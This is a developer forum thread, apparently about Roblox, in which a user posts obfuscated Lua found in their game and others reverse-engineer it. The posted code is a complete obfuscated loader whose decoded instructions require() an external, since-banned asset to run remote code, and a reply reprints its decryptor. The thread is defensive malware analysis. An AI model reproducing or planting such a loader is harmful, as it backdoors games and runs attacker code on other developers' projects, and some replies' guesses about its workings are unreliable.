Deobfuscated code, perhaps malicious..?

Hello, everyone! I have been coding on a game of mine, until I came across a specific error.

Downloading asset failed for asset id 5112309884. Is the asset id correct and is the asset type "Model"?

Obviously, I had to check it out. When I checked it out, I saw a rather unusual deobfuscated piece of code.

I was wondering, if anyone could perhaps find out what its real use is? Obviously it’s malicious, but how exactly it works is more of what I am requesting.

For further clarification, the model is banned, so Roblox probably took action against it. Yet im not sure how it appeared in my game in a random location.

Here is the code:

return (function(lo_h, lo_a, lo_a)
	local lo_j = string.char
	local lo_e = string.sub
	local lo_o = table.concat
	local lo_n = math.ldexp
	local lo_m = getfenv or function()
		return _ENV
	end
	local lo_k = select
	local lo_a = unpack or table.unpack
	local lo_l = tonumber
	local function lo_p(lo_h)
		local lo_b, lo_c, lo_d = "", "", {}
		local lo_g = 256
		local lo_f = {}
		for lo_a = 0, lo_g - 1 do
			lo_f[lo_a] = lo_j(lo_a)
		end
		local lo_a = 1
		local function lo_i()
			local lo_b = lo_l(lo_e(lo_h, lo_a, lo_a), 36)
			lo_a = lo_a + 1
			local lo_c = lo_l(lo_e(lo_h, lo_a, lo_a + lo_b - 1), 36)
			lo_a = lo_a + lo_b
			return lo_c
		end
		lo_b = lo_j(lo_i())
		lo_d[1] = lo_b
		while lo_a < #lo_h do
			local lo_a = lo_i()
			if lo_f[lo_a] then
				lo_c = lo_f[lo_a]
			else
				lo_c = lo_b .. lo_e(lo_b, 1, 1)
			end
			lo_f[lo_g] = lo_b .. lo_e(lo_c, 1, 1)
			lo_d[#lo_d + 1], lo_b, lo_g = lo_c, lo_c, lo_g + 1
		end
		return table.concat(lo_d)
	end
	local lo_i =
		lo_p(
			"121627514112751623822R23B23723327B141327923A23823322W23627927923224A21Y27925I23L23G1D26T21Z27P1B2791K172792852752841628514279101527927I285285121C28G28A1628K2791F28N289275287161K1D28N28F28M27628N28P2751A28S28V28V28X29327P27I29228728R28U27P"
		)
	local lo_a = (bit or bit32)
	local lo_d = lo_a and lo_a.bxor or function(lo_a, lo_c)
		local lo_b, lo_d, lo_e = 1, 0, 10
		while lo_a > 0 and lo_c > 0 do
			local lo_e, lo_f = lo_a % 2, lo_c % 2
			if lo_e ~= lo_f then
				lo_d = lo_d + lo_b
			end
			lo_a, lo_c, lo_b = (lo_a - lo_e) / 2, (lo_c - lo_f) / 2, lo_b * 2
		end
		if lo_a < lo_c then
			lo_a = lo_c
		end
		while lo_a > 0 do
			local lo_c = lo_a % 2
			if lo_c > 0 then
				lo_d = lo_d + lo_b
			end
			lo_a, lo_b = (lo_a - lo_c) / 2, lo_b * 2
		end
		return lo_d
	end
	local function lo_c(lo_b, lo_a, lo_c)
		if lo_c then
			local lo_a = (lo_b / 2 ^ (lo_a - 1)) % 2 ^ ((lo_c - 1) - (lo_a - 1) + 1)
			return lo_a - lo_a % 1
		else
			local lo_a = 2 ^ (lo_a - 1)
			return (lo_b % (lo_a + lo_a) >= lo_a) and 1 or 0
		end
	end
	local lo_a = 1
	local function lo_b()
		local lo_f, lo_e, lo_c, lo_b = lo_h(lo_i, lo_a, lo_a + 3)
		lo_f = lo_d(lo_f, 6)
		lo_e = lo_d(lo_e, 6)
		lo_c = lo_d(lo_c, 6)
		lo_b = lo_d(lo_b, 6)
		lo_a = lo_a + 4
		return (lo_b * 16777216) + (lo_c * 65536) + (lo_e * 256) + lo_f
	end
	local function lo_g()
		local lo_b = lo_d(lo_h(lo_i, lo_a, lo_a), 6)
		lo_a = lo_a + 1
		return lo_b
	end
	local function lo_f()
		local lo_b, lo_c = lo_h(lo_i, lo_a, lo_a + 2)
		lo_b = lo_d(lo_b, 6)
		lo_c = lo_d(lo_c, 6)
		lo_a = lo_a + 2
		return (lo_c * 256) + lo_b
	end
	local function lo_l()
		local lo_a = lo_b()
		local lo_b = lo_b()
		local lo_e = 1
		local lo_d = (lo_c(lo_b, 1, 20) * (2 ^ 32)) + lo_a
		local lo_a = lo_c(lo_b, 21, 31)
		local lo_b = ((-1) ^ lo_c(lo_b, 32))
		if (lo_a == 0) then
			if (lo_d == 0) then
				return lo_b * 0
			else
				lo_a = 1
				lo_e = 0
			end
		elseif (lo_a == 2047) then
			return (lo_d == 0) and (lo_b * (1 / 0)) or (lo_b * (0 / 0))
		end
		return lo_n(lo_b, lo_a - 1023) * (lo_e + (lo_d / (2 ^ 52)))
	end
	local lo_n = lo_b
	local function lo_p(lo_b)
		local lo_c
		if (not lo_b) then
			lo_b = lo_n()
			if (lo_b == 0) then
				return ""
			end
		end
		lo_c = lo_e(lo_i, lo_a, lo_a + lo_b - 1)
		lo_a = lo_a + lo_b
		local lo_b = {}
		for lo_a = 1, #lo_c do
			lo_b[lo_a] = lo_j(lo_d(lo_h(lo_e(lo_c, lo_a, lo_a)), 6))
		end
		return lo_o(lo_b)
	end
	local lo_a = lo_b
	local function lo_n(...)
		return {...}, lo_k("#", ...)
	end
	local function lo_j()
		local lo_i = {}
		local lo_e = {}
		local lo_a = {}
		local lo_h = {
			[#{{953, 707, 757, 689}, "1 + 1 = 111"}] = lo_e,
			[#{"1 + 1 = 111", "1 + 1 = 111", "1 + 1 = 111"}] = nil,
			[#{{458, 14, 430, 230}, {570, 964, 232, 128}, "1 + 1 = 111", "1 + 1 = 111"}] = lo_a,
			[#{"1 + 1 = 111"}] = lo_i
		}
		local lo_a = lo_b()
		local lo_d = {}
		for lo_c = 1, lo_a do
			local lo_b = lo_g()
			local lo_a
			if (lo_b == 3) then
				lo_a = (lo_g() ~= 0)
			elseif (lo_b == 0) then
				lo_a = lo_l()
			elseif (lo_b == 2) then
				lo_a = lo_p()
			end
			lo_d[lo_c] = lo_a
		end
		for lo_a = 1, lo_b() do
			lo_e[lo_a - 1] = lo_j()
		end
		for lo_h = 1, lo_b() do
			local lo_a = lo_g()
			if (lo_c(lo_a, 1, 1) == 0) then
				local lo_e = lo_c(lo_a, 2, 3)
				local lo_g = lo_c(lo_a, 4, 6)
				local lo_a = {lo_f(), lo_f(), nil, nil}
				if (lo_e == 0) then
					lo_a[3] = lo_f()
					lo_a[4] = lo_f()
				elseif (lo_e == 1) then
					lo_a[3] = lo_b()
				elseif (lo_e == 2) then
					lo_a[3] = lo_b() - (2 ^ 16)
				elseif (lo_e == 3) then
					lo_a[3] = lo_b() - (2 ^ 16)
					lo_a[4] = lo_f()
				end
				if (lo_c(lo_g, 1, 1) == 1) then
					lo_a[2] = lo_d[lo_a[2]]
				end
				if (lo_c(lo_g, 2, 2) == 1) then
					lo_a[3] = lo_d[lo_a[3]]
				end
				if (lo_c(lo_g, 3, 3) == 1) then
					lo_a[4] = lo_d[lo_a[4]]
				end
				lo_i[lo_h] = lo_a
			end
		end
		lo_h[3] = lo_g()
		return lo_h
	end
	local function lo_l(lo_a, lo_b, lo_g)
		lo_a = (lo_a == true and lo_j()) or lo_a
		return (function(...)
			local lo_h = lo_a[1]
			local lo_c = lo_a[3]
			local lo_a = lo_a[2]
			local lo_a = lo_n
			local lo_d = 1
			local lo_a = -1
			local lo_i = {}
			local lo_f = {...}
			local lo_e = lo_k("#", ...) - 1
			local lo_a = {}
			local lo_b = {}
			for lo_a = 0, lo_e do
				if (lo_a >= lo_c) then
					lo_i[lo_a - lo_c] = lo_f[lo_a + 1]
				else
					lo_b[lo_a] = lo_f[lo_a + #{{282, 51, 875, 941}}]
				end
			end
			local lo_a = lo_e - lo_c + 1
			local lo_a
			local lo_c
			while true do
				lo_a = lo_h[lo_d]
				lo_c = lo_a[1]
				if lo_c <= 5 then
					if lo_c <= 2 then
						if lo_c <= 0 then
							lo_b[lo_a[2]] = lo_g[lo_a[3]]
						elseif lo_c == 1 then
							lo_b[lo_a[2]] = lo_g[lo_a[3]]
						else
							lo_b[lo_a[2]] = lo_a[3]
						end
					elseif lo_c <= 3 then
						if (lo_b[lo_a[2]] ~= lo_b[lo_a[4]]) then
							lo_d = lo_d + 1
						else
							lo_d = lo_a[3]
						end
					elseif lo_c == 4 then
						do
							return
						end
					else
						local lo_a = lo_a[2]
						lo_b[lo_a](lo_b[lo_a + 1])
					end
				elseif lo_c <= 8 then
					if lo_c <= 6 then
						if (lo_b[lo_a[2]] ~= lo_b[lo_a[4]]) then
							lo_d = lo_d + 1
						else
							lo_d = lo_a[3]
						end
					elseif lo_c == 7 then
						lo_d = lo_a[3]
					else
						local lo_a = lo_a[2]
						lo_b[lo_a](lo_b[lo_a + 1])
					end
				elseif lo_c <= 9 then
					do
						return
					end
				elseif lo_c > 10 then
					lo_b[lo_a[2]] = lo_a[3]
				else
					lo_d = lo_a[3]
				end
				lo_d = lo_d + 1
			end
		end)
	end
	return lo_l(true, {}, lo_m())()
end)(string.byte, table.insert, setmetatable)

I hope someone could find the answer to my problem, thanks! :smiley:

2 Likes

! DO NOT RUN ANY KIND OF OBFUSCATED CODE ON ANY ENVIRONMENT !

	local lo_i =
		lo_p(
			"121627514112751623822R23B23723327B141327923A23823322W23627927923224A21Y27925I23L23G1D26T21Z27P1B2791K172792852752841628514279101527927I285285121C28G28A1628K2791F28N289275287161K1D28N28F28M27628N28P2751A28S28V28V28X29327P27I29228728R28U27P"
		)

So this part is where the payload is placed. And the rest looks like its remaking it by Bytecode or Binary(not sure tho it unreadable) and than probably connected to some kind of api or webhook. I dont really think it can steal your account or anything but be careful. There was a video that had the same theme but the code was easier to read and I forgot the name of it it explained much more . . .

4 Likes

as LegendaryDev said (thank you), this script gets data from your game or anything that he wants, however there is so much junkcode and i really cant tell what is its purpose, probably is trying to get a modulescript to get instructions by it.

i reccomend to disable HTTPS service if your not using it or is non necessary, or create a script that deletes module scripts after the game starts

1 Like

Thanks, both @efsane14010 and you!

It appears this code has been in only one script, I will do some more experimenting to see what is actually going on though.

1 Like

The reason is probably it uses return at the start of the script:

return (function(lo_h, lo_a, lo_a)

and make it run automatically or else you would need to call the function with names but in this case return directly makes it run. I dont think I am mistaken or some other script is hidden inside the other stuff inside the model and call the module

local require_func = env[instructionSet["require"]]
local print_func = env[instructionSet["print"]]

if require_func == print_func then
    require_func(1818)
else
    require_func(5112309884)
end

After checking if require == print it jumps to instruction 5.

This seems to load in an external payload, it’s doing a loose check if the require function was tampered with. If not, attempts to load the payload.

Here’s the decrypting function

-- The decryptor
-- the string (base 36) this decrypts seems to be the instructions
local function decryptString(encodedStr)
	local currentString, dictionary = "", {}
	local dictSize = 256
	local dictionaryTable = {}
		
	for i = 0, dictSize - 1 do
		dictionaryTable[i] = char(i)
	end

	local position = 1

	local function readCode()
		local length = tonumberFunc(sub(encodedStr, position, position), 36)
		position = position + 1
		local code = tonumberFunc(sub(encodedStr, position, position + length - 1), 36)
		position = position + length
		return code
	end

	currentString = char(readCode())
	dictionary[1] = currentString

	while position < #encodedStr do
		local code = readCode()
		local entry = dictionaryTable[code] or (currentString .. sub(currentString, 1, 1))
		dictionaryTable[dictSize] = currentString .. sub(entry, 1, 1)
		dictionary[#dictionary + 1], currentString, dictSize = entry, entry, dictSize + 1
	end

	return concat(dictionary)
end

local bytecode = decryptString("121627514112751623822R23B23723327B141327923A23823322W23627927923224A21Y27925I23L23G1D26T21Z27P1B2791K172792852752841628514279101527927I285285121C28G28A1628K2791F28N289275287161K1D28N28F28M27628N28P2751A28S28V28V28X29327P27I29228728R28U27P")

Here are the instructions (what the string translates to) if anyone is interested:

Instructions
{
	[1] =	{
		[1] = 1,
		[2] = 0,
		[3] = "require"
	},
	[2] =	{
		[1] = 1,
		[2] = 1,
		[3] = "print"
	},
	[3] =	{
		[1] = 3,
		[2] = 0, --> print == require
		[3] = 5, --> if true jump to instruction 5
		[4] = 1
	},
	[4] =	{
		[1] = 10,
		[2] = 0,
		[3] = 5
	},
	[5] =	{
		[1] = 10,
		[2] = 0,
		[3] = 9
	},
	[6] =	{
		[1] = 1,
		[2] = 0, --> here is the require for the bogus asset, if we fail the print == require check.
		[3] = "require"
	},
	[7] =	{
		[1] = 11,
		[2] = 1, -- requiring an arbitrary asset id, although obviously a fake one.
		[3] = 1818
	},
	[8] =	{
		[1] = 5,
		[2] = 0,
		[3] = 2,
		[4] = 1
	},
	[9] =	{
		[1] = 10,
		[2] = 0,
		[3] = 12
	},
	[10] =	{
		[1] = 1,
		[2] = 0,
		[3] = "require"
	},
	[11] =	{
		[1] = 11,
		[2] = 1, -- The actual asset
		[3] = 5112309884
	},
	[12] =	{
		[1] = 5,
		[2] = 0,
		[3] = 2,
		[4] = 1
	},
	[13] =	{
		[1] = 9,
		[2] = 0,
		[3] = 1,
		[4] = 0
	}
}
2 Likes

woah, how long did that even take you?

how accurate do you think this is?

This should be pretty accurate.
They’ve done a very insignificant amount of hiding on this, even the control flow is pretty intact.

1 Like

what the ?!?!?!?!?!? You cant be serious how did u even reversed this ? Any kind of explanation?

1 Like

The obfuscation is incredibly poorly done

1 Like

ahh ok now Im understanding what those numbers mean it just didnt make sense on the first sight

1 Like

This topic was automatically closed 14 days after the last reply. New replies are no longer allowed.